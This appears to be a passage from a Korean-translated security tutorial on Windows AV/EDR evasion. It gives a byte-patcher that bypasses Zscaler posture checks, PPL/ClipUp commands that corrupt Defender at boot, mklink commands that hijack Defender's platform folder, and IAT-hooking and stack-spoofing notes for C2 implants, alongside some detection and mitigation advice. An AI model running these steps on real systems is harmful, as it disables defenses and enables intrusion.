โ€ข ์ƒˆ๋กœ์šด kernel ์„œ๋น„์Šค ์ƒ์„ฑ ๋ชจ๋‹ˆํ„ฐ๋ง ๋ฐ ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ๋กœ๋“œ๋˜์—ˆ๊ฑฐ๋‚˜ ํ—ˆ์šฉ ๋ชฉ๋ก์— ์—†๋Š” ๊ฒฝ์šฐ ๊ฒฝ๋ณด๋ฅผ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค.
โ€ข ์‚ฌ์šฉ์ž ๋ชจ๋“œ ํ•ธ๋“ค์ด ์ปค์Šคํ…€ ๋””๋ฐ”์ด์Šค ๊ฐ์ฒด์— ์—ด๋ฆฌ๊ณ  ์ด์–ด์„œ ์˜์‹ฌ์Šค๋Ÿฌ์šด DeviceIoControl ํ˜ธ์ถœ์ด ๋ฐœ์ƒํ•˜๋Š”์ง€ ๊ฐ์‹œํ•ฉ๋‹ˆ๋‹ค.

Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching

Zscaler์˜ Client Connector๋Š” ์žฅ์น˜ posture ๊ทœ์น™์„ ๋กœ์ปฌ์—์„œ ์ ์šฉํ•˜๊ณ  ๊ฒฐ๊ณผ๋ฅผ ๋‹ค๋ฅธ ๊ตฌ์„ฑ์š”์†Œ์™€ ํ†ต์‹ ํ•˜๊ธฐ ์œ„ํ•ด Windows RPC๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋‘ ๊ฐ€์ง€ ์„ค๊ณ„์ƒ์˜ ์•ฝ์ ์ด ์ „์ฒด ์šฐํšŒ๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค:

  1. Posture ํ‰๊ฐ€๋Š” ์™„์ „ํžˆ ํด๋ผ์ด์–ธํŠธ ์ธก์—์„œ ์ด๋ฃจ์–ด์ง€๋ฉฐ (์„œ๋ฒ„์—๋Š” boolean ๊ฐ’๋งŒ ์ „์†ก๋จ).
  2. ๋‚ด๋ถ€ RPC ์—”๋“œํฌ์ธํŠธ๋Š” ์—ฐ๊ฒฐํ•˜๋Š” ์‹คํ–‰ ํŒŒ์ผ์ด Zscaler์— ์˜ํ•ด ์„œ๋ช…๋˜์—ˆ๋Š”์ง€(WinVerifyTrust๋ฅผ ํ†ตํ•ด)๋งŒ ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค.

๋””์Šคํฌ์— ์žˆ๋Š” ์„œ๋ช…๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ 4๊ฐœ๋ฅผ ํŒจ์น˜ํ•จ์œผ๋กœ์จ ๋‘ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ๋ชจ๋‘ ๋ฌด๋ ฅํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Binary์›๋ž˜ ๋กœ์ง(ํŒจ์น˜๋œ ๋ถ€๋ถ„)๊ฒฐ๊ณผ
ZSATrayManager.exedevicePostureCheck() โ†’ return 0/1ํ•ญ์ƒ 1์„ ๋ฐ˜ํ™˜ํ•˜๋„๋ก ๋ณ€๊ฒฝ๋˜์–ด ๋ชจ๋“  ์ฒดํฌ๊ฐ€ ์ค€์ˆ˜๋กœ ๊ฐ„์ฃผ๋จ
ZSAService.exeWinVerifyTrust๋กœ์˜ ๊ฐ„์ ‘ ํ˜ธ์ถœNOP ์ฒ˜๋ฆฌ โ‡’ ์–ด๋–ค ํ”„๋กœ์„ธ์Šค(์‹ฌ์ง€์–ด unsigned)๋„ RPC ํŒŒ์ดํ”„์— ๋ฐ”์ธ๋”ฉํ•  ์ˆ˜ ์žˆ์Œ
ZSATrayHelper.dllverifyZSAServiceFileSignature()mov eax,1 ; ret๋กœ ๋Œ€์ฒด๋จ
ZSATunnel.exeํ„ฐ๋„ ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์‚ฌ๋‹จ์ถ•(์šฐํšŒ)๋จ

๊ฐ„๋‹จํ•œ ํŒจ์ฒ˜ ๋ฐœ์ทŒ:

pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01")  # force result = 1

with open("ZSATrayManager.exe", "r+b") as f:
data = f.read()
off = data.find(pattern)
if off == -1:
print("pattern not found")
else:
f.seek(off)
f.write(replacement)

์›๋ณธ ํŒŒ์ผ์„ ๊ต์ฒดํ•˜๊ณ  ์„œ๋น„์Šค ์Šคํƒ์„ ์žฌ์‹œ์ž‘ํ•œ ํ›„:

  • All posture checks๊ฐ€ green/compliant๋กœ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค.
  • ์„œ๋ช…๋˜์ง€ ์•Š์•˜๊ฑฐ๋‚˜ ์ˆ˜์ •๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ named-pipe RPC endpoints๋ฅผ ์—ด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (์˜ˆ: \\RPC Control\\ZSATrayManager_talk_to_me).
  • ํƒˆ์ทจ๋œ ํ˜ธ์ŠคํŠธ๋Š” Zscaler ์ •์ฑ…์œผ๋กœ ์ •์˜๋œ ๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ์— ์ œํ•œ ์—†์ด ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

์ด ์‚ฌ๋ก€ ์—ฐ๊ตฌ๋Š” ์ˆœ์ˆ˜ํ•˜๊ฒŒ ํด๋ผ์ด์–ธํŠธ ์ธก ์‹ ๋ขฐ ๊ฒฐ์ •๊ณผ ๊ฐ„๋‹จํ•œ ์„œ๋ช… ๊ฒ€์‚ฌ๊ฐ€ ๋ช‡ ๋ฐ”์ดํŠธ์˜ ํŒจ์น˜๋กœ ์–ด๋–ป๊ฒŒ ๋ฌด๋ ฅํ™”๋  ์ˆ˜ ์žˆ๋Š”์ง€๋ฅผ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

Protected Process Light (PPL)์„ ์•…์šฉํ•ด LOLBINs๋กœ AV/EDR์„ ๋ณ€์กฐํ•˜๊ธฐ

Protected Process Light (PPL)์€ signer/level ๊ณ„์ธต์„ ๊ฐ•์ œํ•˜์—ฌ ๋™์ผํ•˜๊ฑฐ๋‚˜ ๋” ๋†’์€ ์ˆ˜์ค€์˜ protected process๋งŒ ์ƒํ˜ธ ๋ณ€์กฐํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ ์œผ๋กœ, ํ•ฉ๋ฒ•์ ์œผ๋กœ PPL์ด ํ™œ์„ฑํ™”๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ์ธ์ˆ˜๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋ฌดํ•ดํ•œ ๊ธฐ๋Šฅ(์˜ˆ: ๋กœ๊น…)์„ AV/EDR์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๋ณดํ˜ธ๋œ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ๋Œ€ํ•ด ์ œ์•ฝ๋œ PPL ๊ธฐ๋ฐ˜์˜ ์“ฐ๊ธฐ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๋กœ ์ „ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ”„๋กœ์„ธ์Šค๊ฐ€ PPL๋กœ ์‹คํ–‰๋˜๋ ค๋ฉด

  • ๋Œ€์ƒ EXE(๋ฐ ๋กœ๋“œ๋œ DLLs)๋Š” PPL-capable EKU๋กœ ์„œ๋ช…๋˜์–ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • ํ”„๋กœ์„ธ์Šค๋Š” CreateProcess๋กœ ์ƒ์„ฑ๋˜์–ด์•ผ ํ•˜๋ฉฐ ํ”Œ๋ž˜๊ทธ: EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ signer์™€ ์ผ์น˜ํ•˜๋Š” ํ˜ธํ™˜ ๊ฐ€๋Šฅํ•œ protection level์„ ์š”์ฒญํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: anti-malware ์„œ๋ช…์ž์—๋Š” PROTECTION_LEVEL_ANTIMALWARE_LIGHT, Windows ์„œ๋ช…์ž์—๋Š” PROTECTION_LEVEL_WINDOWS). ์ž˜๋ชป๋œ ๋ ˆ๋ฒจ์€ ์ƒ์„ฑ ์‹œ ์‹คํŒจํ•ฉ๋‹ˆ๋‹ค.

See also a broader intro to PP/PPL and LSASS protection here:

Windows Credentials Protections

Launcher tooling

  • ์˜คํ”ˆ์†Œ์Šค ํ—ฌํผ: CreateProcessAsPPL (protection level์„ ์„ ํƒํ•˜๊ณ  ์ธ์ˆ˜๋ฅผ ๋Œ€์ƒ EXE๋กœ ์ „๋‹ฌ):
  • https://github.com/2x7EQ13/CreateProcessAsPPL
  • ์‚ฌ์šฉ ํŒจํ„ด:
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
# example: spawn a Windows-signed component at PPL level 1 (Windows)
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
# example: spawn an anti-malware signed component at level 3
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>

LOLBIN primitive: ClipUp.exe

  • The signed system binary C:\Windows\System32\ClipUp.exe๋Š” ์ž์ฒด์ ์œผ๋กœ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•˜๋ฉฐ ํ˜ธ์ถœ์ž๊ฐ€ ์ง€์ •ํ•œ ๊ฒฝ๋กœ์— ๋กœ๊ทธ ํŒŒ์ผ์„ ์“ฐ๋Š” ์ธ์ˆ˜๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • PPL ํ”„๋กœ์„ธ์Šค๋กœ ์‹คํ–‰๋˜๋ฉด ํŒŒ์ผ ์“ฐ๊ธฐ๋Š” PPL ๋ณดํ˜ธ ํ•˜์—์„œ ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค.
  • ClipUp์€ ๊ณต๋ฐฑ์ด ํฌํ•จ๋œ ๊ฒฝ๋กœ๋ฅผ ํŒŒ์‹ฑํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค; ์ผ๋ฐ˜์ ์œผ๋กœ ๋ณดํ˜ธ๋œ ์œ„์น˜๋ฅผ ๊ฐ€๋ฆฌํ‚ฌ ๋•Œ 8.3 short paths๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.

8.3 short path ๋„์šฐ๋ฏธ

  • ์งง์€ ์ด๋ฆ„ ๋‚˜์—ด: ๊ฐ ์ƒ์œ„ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ dir /x ์‹คํ–‰.
  • cmd์—์„œ short path ์ถ”์ถœ: for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA

Abuse chain (์š”์•ฝ)

  1. PPL ๊ฐ€๋Šฅ LOLBIN(ClipUp)์„ ์‹คํ–‰๊ธฐ(์˜ˆ: CreateProcessAsPPL)๋ฅผ ์‚ฌ์šฉํ•ด CREATE_PROTECTED_PROCESS๋กœ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
  2. ClipUp์— ๋กœ๊ทธ ๊ฒฝ๋กœ ์ธ์ˆ˜๋ฅผ ์ „๋‹ฌํ•˜์—ฌ ๋ณดํ˜ธ๋œ AV ๋””๋ ‰ํ„ฐ๋ฆฌ(์˜ˆ: Defender Platform)์— ํŒŒ์ผ ์ƒ์„ฑ์ด ์ผ์–ด๋‚˜๋„๋ก ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค. ํ•„์š”ํ•˜๋ฉด 8.3 short names๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  3. ๋Œ€์ƒ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์‹คํ–‰ ์ค‘ AV์— ์˜ํ•ด ์—ด๋ ค ์žˆ๊ฑฐ๋‚˜ ์ž ๊ฒจ ์žˆ๋Š” ๊ฒฝ์šฐ(์˜ˆ: MsMpEng.exe), AV๊ฐ€ ์‹œ์ž‘๋˜๊ธฐ ์ „์— ๋ถ€ํŒ… ์‹œ ์“ฐ๊ธฐ๊ฐ€ ๋˜๋„๋ก ๋” ๋จผ์ € ์‹คํ–‰๋˜๋Š” auto-start service๋ฅผ ์„ค์น˜ํ•˜์„ธ์š”. Process Monitor(boot logging)๋กœ ๋ถ€ํŒ… ์ˆœ์„œ๋ฅผ ๊ฒ€์ฆํ•˜์„ธ์š”.
  4. ์žฌ๋ถ€ํŒ… ์‹œ PPL ๋ณดํ˜ธํ•˜์˜ ์“ฐ๊ธฐ๊ฐ€ AV๊ฐ€ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ž ๊ทธ๊ธฐ ์ „์— ๋ฐœ์ƒํ•˜์—ฌ ๋Œ€์ƒ ํŒŒ์ผ์ด ์†์ƒ๋˜๊ณ  ์‹œ์ž‘์„ ๋ฐฉํ•ดํ•ฉ๋‹ˆ๋‹ค.

Example invocation (paths redacted/shortened for safety):

# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll

Notes and constraints

  • ClipUp๊ฐ€ ์“ฐ๋Š” ๋‚ด์šฉ์€ ์œ„์น˜(placement) ์™ธ์—๋Š” ์ œ์–ดํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค; ์ด ์›์‹œ ๋ฐฉ๋ฒ•์€ ์ •๋ฐ€ํ•œ ์ฝ˜ํ…์ธ  ์‚ฝ์ž…๋ณด๋‹ค๋Š” ์†์ƒ(corruption)์— ์ ํ•ฉํ•ฉ๋‹ˆ๋‹ค.
  • ์„œ๋น„์Šค ์„ค์น˜/์‹œ์ž‘๊ณผ ์žฌ๋ถ€ํŒ… ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค(๋กœ์ปฌ admin/SYSTEM ํ•„์š”).
  • ํƒ€์ด๋ฐ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค: ๋Œ€์ƒ์ด ์—ด๋ฆฐ ์ƒํƒœ์—ฌ์„œ๋Š” ์•ˆ ๋˜๋ฉฐ ๋ถ€ํŒ… ์‹œ ์‹คํ–‰ํ•˜๋ฉด ํŒŒ์ผ ์ž ๊ธˆ์„ ํ”ผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Detections

  • ๋ถ€ํŒ… ์ „ํ›„๋กœ ๋น„์ •์ƒ์ ์ธ ์ธ์ž์™€ ํ•จ๊ป˜ ์ƒ์„ฑ๋˜๋Š” ClipUp.exe ํ”„๋กœ์„ธ์Šค(ํŠนํžˆ ๋น„ํ‘œ์ค€ ๋Ÿฐ์ฒ˜๋ฅผ ๋ถ€๋ชจ๋กœ ๋‘” ๊ฒฝ์šฐ).
  • ์˜์‹ฌ์Šค๋Ÿฌ์šด ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ auto-start๋กœ ์„ค์ •ํ•˜๋Š” ์‹ ๊ทœ ์„œ๋น„์Šค ๋ฐ ์ผ๊ด€๋˜๊ฒŒ Defender/AV๋ณด๋‹ค ๋จผ์ € ์‹œ์ž‘๋˜๋Š” ์„œ๋น„์Šค. Defender ์‹œ์ž‘ ์‹คํŒจ ์ด์ „์˜ ์„œ๋น„์Šค ์ƒ์„ฑ/์ˆ˜์ • ๋‚ด์—ญ์„ ์กฐ์‚ฌํ•˜์„ธ์š”.
  • Defender ๋ฐ”์ด๋„ˆ๋ฆฌ/Platform ๋””๋ ‰ํ„ฐ๋ฆฌ์— ๋Œ€ํ•œ ํŒŒ์ผ ๋ฌด๊ฒฐ์„ฑ ๋ชจ๋‹ˆํ„ฐ๋ง; protected-process ํ”Œ๋ž˜๊ทธ๋ฅผ ๊ฐ€์ง„ ํ”„๋กœ์„ธ์Šค์— ์˜ํ•œ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ํŒŒ์ผ ์ƒ์„ฑ/์ˆ˜์ •.
  • ETW/EDR ํ…”๋ ˆ๋ฉ”ํŠธ๋ฆฌ: CREATE_PROTECTED_PROCESS๋กœ ์ƒ์„ฑ๋œ ํ”„๋กœ์„ธ์Šค ๋ฐ non-AV ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์˜ํ•œ ๋น„์ •์ƒ์ ์ธ PPL ๋ ˆ๋ฒจ ์‚ฌ์šฉ์„ ํ™•์ธํ•˜์„ธ์š”.

Mitigations

  • WDAC/Code Integrity: ์–ด๋–ค ์„œ๋ช…๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ PPL๋กœ ์‹คํ–‰๋  ์ˆ˜ ์žˆ๊ณ  ์–ด๋–ค ๋ถ€๋ชจ ํ”„๋กœ์„ธ์Šค ์•„๋ž˜์—์„œ ํ—ˆ์šฉ๋˜๋Š”์ง€๋ฅผ ์ œํ•œํ•˜์„ธ์š”; ์ •๋‹นํ•œ ๋งฅ๋ฝ ์™ธ์—์„œ์˜ ClipUp ํ˜ธ์ถœ์„ ์ฐจ๋‹จํ•˜์„ธ์š”.
  • ์„œ๋น„์Šค ์œ„์ƒ: auto-start ์„œ๋น„์Šค์˜ ์ƒ์„ฑ/์ˆ˜์ •์„ ์ œํ•œํ•˜๊ณ  ์‹œ์ž‘ ์ˆœ์„œ ์กฐ์ž‘์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์„ธ์š”.
  • Defender tamper protection ๋ฐ early-launch ๋ณดํ˜ธ๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ , ๋ฐ”์ด๋„ˆ๋ฆฌ ์†์ƒ์„ ์‹œ์‚ฌํ•˜๋Š” ์‹œ์ž‘ ์˜ค๋ฅ˜๋ฅผ ์กฐ์‚ฌํ•˜์„ธ์š”.
  • ํ™˜๊ฒฝ์ด ํ—ˆ์šฉ๋œ๋‹ค๋ฉด ๋ณด์•ˆ ๋„๊ตฌ๋ฅผ ํ˜ธ์ŠคํŒ…ํ•˜๋Š” ๋ณผ๋ฅจ์—์„œ 8.3 short-name ์ƒ์„ฑ(8.3 ์งง์€ ์ด๋ฆ„ ์ƒ์„ฑ)์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋Š” ๊ฒƒ์„ ๊ณ ๋ คํ•˜์„ธ์š”(์ฒ ์ €ํžˆ ํ…Œ์ŠคํŠธ ํ•„์š”).

References for PPL and tooling

  • Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
  • EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
  • Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon
  • CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
  • Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html

Windows Defender๋Š” ์‹คํ–‰ํ•  platform์„ ์„ ํƒํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ ๊ฒฝ๋กœ ์•„๋ž˜์˜ ํ•˜์œ„ ํด๋”๋ฅผ ์—ด๊ฑฐํ•ฉ๋‹ˆ๋‹ค:

  • C:\ProgramData\Microsoft\Windows Defender\Platform\

๊ทธ์ค‘ ์‚ฌ์ „์‹(lexicographic)์œผ๋กœ ๊ฐ€์žฅ ๋†’์€ ๋ฒ„์ „ ๋ฌธ์ž์—ด์„ ๊ฐ€์ง„ ํ•˜์œ„ ํด๋”(์˜ˆ: 4.18.25070.5-0)๋ฅผ ์„ ํƒํ•œ ๋‹ค์Œ ๊ทธ ์œ„์น˜์—์„œ Defender ์„œ๋น„์Šค ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค(์„œ๋น„์Šค/๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๊ฒฝ๋กœ๋ฅผ ํ•ด๋‹น ์œ„์น˜๋กœ ์—…๋ฐ์ดํŠธํ•จ). ์ด ์„ ํƒ์€ ๋””๋ ‰ํ„ฐ๋ฆฌ reparse point(symlinks)๋ฅผ ํฌํ•จํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ ํ•ญ๋ชฉ์„ ์‹ ๋ขฐํ•ฉ๋‹ˆ๋‹ค. ๊ด€๋ฆฌ์ž๋Š” ์ด๋ฅผ ์ด์šฉํ•ด Defender๋ฅผ ๊ณต๊ฒฉ์ž๊ฐ€ ์“ธ ์ˆ˜ ์žˆ๋Š” ๊ฒฝ๋กœ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธํ•˜์—ฌ DLL sideloading ๋˜๋Š” ์„œ๋น„์Šค ์ค‘๋‹จ์„ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Preconditions

  • Local Administrator (Platform ํด๋” ์•„๋ž˜ ๋””๋ ‰ํ„ฐ๋ฆฌ/์‹ฌ๋ณผ๋ฆญ ๋งํฌ(symlinks) ์ƒ์„ฑ ํ•„์š”)
  • ์žฌ๋ถ€ํŒ… ๊ฐ€๋Šฅ์„ฑ ๋˜๋Š” Defender platform ์žฌ์„ ํƒ์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ(๋ถ€ํŒ… ์‹œ ์„œ๋น„์Šค ์žฌ์‹œ์ž‘)
  • ๋‚ด์žฅ ๋„๊ตฌ๋งŒ ํ•„์š” (mklink)

Why it works

  • Defender๋Š” ์ž์ฒด ํด๋”์— ๋Œ€ํ•œ ์“ฐ๊ธฐ๋ฅผ ์ฐจ๋‹จํ•˜์ง€๋งŒ, platform ์„ ํƒ์€ ๋””๋ ‰ํ„ฐ๋ฆฌ ํ•ญ๋ชฉ์„ ์‹ ๋ขฐํ•˜๋ฉฐ ๋Œ€์ƒ์ด ๋ณดํ˜ธ/์‹ ๋ขฐ๋œ ๊ฒฝ๋กœ๋กœ ํ•ด์„๋˜๋Š”์ง€ ๊ฒ€์ฆํ•˜์ง€ ์•Š๊ณ  ์‚ฌ์ „์‹์œผ๋กœ ๊ฐ€์žฅ ๋†’์€ ๋ฒ„์ „ ๋ฌธ์ž์—ด์„ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค.

Step-by-step (example)

  1. Prepare a writable clone of the current platform folder, e.g. C:\TMP\AV:
set SRC="C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25070.5-0"
set DST="C:\TMP\AV"
robocopy %SRC% %DST% /MIR
  1. Platform ๋‚ด๋ถ€์— ์ž์‹ ์˜ ํด๋”๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ์ƒ์œ„ ๋ฒ„์ „ ๋””๋ ‰ํ„ฐ๋ฆฌ symlink๋ฅผ ์ƒ์„ฑ:
mklink /D "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0" "C:\TMP\AV"
  1. ํŠธ๋ฆฌ๊ฑฐ ์„ ํƒ (์žฌ๋ถ€ํŒ… ๊ถŒ์žฅ):
shutdown /r /t 0
  1. ๋ฆฌ๋””๋ ‰์…˜๋œ ๊ฒฝ๋กœ์—์„œ MsMpEng.exe (WinDefend)๊ฐ€ ์‹คํ–‰๋˜๋Š”์ง€ ํ™•์ธ:
Get-Process MsMpEng | Select-Object Id,Path
# or
wmic process where name='MsMpEng.exe' get ProcessId,ExecutablePath

์ƒˆ ํ”„๋กœ์„ธ์Šค ๊ฒฝ๋กœ๊ฐ€ C:\TMP\AV\ ์•„๋ž˜์— ์ƒ์„ฑ๋˜๊ณ  ์„œ๋น„์Šค ๊ตฌ์„ฑ/๋ ˆ์ง€์ŠคํŠธ๋ฆฌ๊ฐ€ ํ•ด๋‹น ์œ„์น˜๋ฅผ ๋ฐ˜์˜ํ•˜๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Post-exploitation options

  • DLL sideloading/code execution: Defender๊ฐ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ๋กœ๋“œํ•˜๋Š” DLLs๋ฅผ ๋“œ๋กญ/๊ต์ฒดํ•˜์—ฌ Defender์˜ ํ”„๋กœ์„ธ์Šค์—์„œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. See the section above: DLL Sideloading & Proxying.
  • Service kill/denial: Remove the version-symlink so on next start the configured path doesnโ€™t resolve and Defender fails to start:
rmdir "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0"

Tip

์ด ๊ธฐ์ˆ ์€ ์ž์ฒด์ ์œผ๋กœ ๊ถŒํ•œ ์ƒ์Šน์„ ์ œ๊ณตํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

API/IAT Hooking + Call-Stack Spoofing with PIC (Crystal Kit-style)

Red teams๋Š” ๋Ÿฐํƒ€์ž„ ํšŒํ”ผ(runtime evasion)๋ฅผ C2 implant์—์„œ ๋Œ€์ƒ ๋ชจ๋“ˆ ์ž์ฒด๋กœ ์˜ฎ๊ธฐ๊ธฐ ์œ„ํ•ด Import Address Table (IAT)์„ ํ›„ํ‚นํ•˜๊ณ  ์„ ํƒ๋œ APIs๋ฅผ attackerโ€‘controlled, positionโ€‘independent code (PIC)๋ฅผ ํ†ตํ•ด ๋ผ์šฐํŒ…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋งŽ์€ ํ‚คํŠธ๊ฐ€ ๋…ธ์ถœํ•˜๋Š” ์ž‘์€ API ํ‘œ๋ฉด(e.g., CreateProcessA)์„ ๋„˜์–ด ํšŒํ”ผ๋ฅผ ์ผ๋ฐ˜ํ™”ํ•˜๊ณ  ๋™์ผํ•œ ๋ณดํ˜ธ๋ฅผ BOFs ๋ฐ postโ€‘exploitation DLLs์—๋„ ํ™•์žฅํ•ฉ๋‹ˆ๋‹ค.

High-level approach

  • Stage a PIC blob alongside the target module using a reflective loader (prepended or companion). The PIC must be selfโ€‘contained and positionโ€‘independent.
  • As the host DLL loads, walk its IMAGE_IMPORT_DESCRIPTOR and patch the IAT entries for targeted imports (e.g., CreateProcessA/W, CreateThread, LoadLibraryA/W, VirtualAlloc) to point at thin PIC wrappers.
  • Each PIC wrapper executes evasions before tailโ€‘calling the real API address. Typical evasions include:
    • Memory mask/unmask around the call (e.g., encrypt beacon regions, RWXโ†’RX, change page names/permissions) then restore postโ€‘call.
    • Callโ€‘stack spoofing: construct a benign stack and transition into the target API so callโ€‘stack analysis resolves to expected frames.
  • For compatibility, export an interface so an Aggressor script (or equivalent) can register which APIs to hook for Beacon, BOFs and postโ€‘ex DLLs.

Why IAT hooking here

  • Works for any code that uses the hooked import, without modifying tool code or relying on Beacon to proxy specific APIs.
  • Covers postโ€‘ex DLLs: hooking LoadLibrary* lets you intercept module loads (e.g., System.Management.Automation.dll, clr.dll) and apply the same masking/stack evasion to their API calls.
  • Restores reliable use of processโ€‘spawning postโ€‘ex commands against callโ€‘stackโ€“based detections by wrapping CreateProcessA/W.

Minimal IAT hook sketch (x64 C/C++ pseudocode)

// For each IMAGE_IMPORT_DESCRIPTOR
//  For each thunk in the IAT
//    if imported function == "CreateProcessA"
//       WriteProcessMemory(local): IAT[idx] = (ULONG_PTR)Pic_CreateProcessA_Wrapper;
// Wrapper performs: mask(); stack_spoof_call(real_CreateProcessA, args...); unmask();

์ฐธ๊ณ 

  • Apply the patch after relocations/ASLR and before first use of the import. Reflective loaders like TitanLdr/AceLdr demonstrate hooking during DllMain of the loaded module.
  • Keep wrappers tiny and PIC-safe; resolve the true API via the original IAT value you captured before patching or via LdrGetProcedureAddress.
  • Use RW โ†’ RX transitions for PIC and avoid leaving writable+executable pages.

Callโ€‘stack spoofing stub

  • Draugrโ€‘style PIC stubs build a fake call chain (return addresses into benign modules) and then pivot into the real API.
  • This defeats detections that expect canonical stacks from Beacon/BOFs to sensitive APIs.
  • Pair with stack cutting/stack stitching techniques to land inside expected frames before the API prologue.

์šด์˜ ํ†ตํ•ฉ

  • Prepend the reflective loader to postโ€‘ex DLLs so the PIC and hooks initialise automatically when the DLL is loaded.
  • Use an Aggressor script to register target APIs so Beacon and BOFs transparently benefit from the same evasion path without code changes.

ํƒ์ง€/DFIR ๊ณ ๋ ค์‚ฌํ•ญ

  • IAT integrity: entries that resolve to nonโ€‘image (heap/anon) addresses; periodic verification of import pointers.
  • Stack anomalies: return addresses not belonging to loaded images; abrupt transitions to nonโ€‘image PIC; inconsistent RtlUserThreadStart ancestry.
